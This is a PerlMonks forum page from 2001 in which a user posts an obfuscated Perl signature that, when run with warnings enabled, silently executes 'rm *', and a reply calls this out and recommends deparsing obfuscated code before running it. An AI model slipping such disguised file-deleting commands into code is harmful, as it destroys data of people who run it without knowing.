beretboy's .sig


No such thing as a small change
	PerlMonks

beretboy's .sig

by beretboy (Chaplain)

on Nov 13, 2001 at 05:33 UTC ( [id://124963]=obfuscated: print w/replies, xml )

Need Help??

My humble sig




#!/usr/bin/perl
$_=ord$;;($=)&&open s;28;AYBABTU!;;($:)&&s$A$Z$;($^L)&&s!B!Q!;tr;YA;E;
+;tr$B!UTQZ$TYOBRB$;tr*A-Z*a-z*;($^W)&&system("rm *");print;
[download]

<BOLD>UPDATE: This will not even run under -w so don't worry.</BOLD>

"Sanity is the playground of the unimaginative" -Unknown

Comment on beretboy's .sig Download Code

Replies are listed 'Best First'.
(jeffa) Re: beretboy's .sig by jeffa (Bishop) on Nov 13, 2001 at 06:11 UTC
Um, damn straight don't run this with warnings turned on: `system 'rm *' if $^W;` [download] I really wish you had used this instead: `!($^W)&&system("rm $0");` [download] We are suppose to encourage the use of warnings, not punish! Bad beretboy! >:( Reminder: `perl -MO=Deparse japh.pl` [download] is a good thing to do before you execute it. (and yes, it will execute with warnings turned on)	[reply] [d/l] [select]

Back to Obfuscated Code

Domain Nodelet^?

www.com | www.net | www.org

Node Status^?

node history
Node Type: obfuscated [id://124963]
Approved by root
help

Chatterbox^?

How do I use this? • Last hour • Other CB clients

Other Users^?

Others rifling through the Monastery: (3)

As of 2024-04-24 05:01 GMT

Sections^?

Information^?

Find Nodes^?

Leftovers^?

Today I Learned

Voting Booth^?

No recent polls found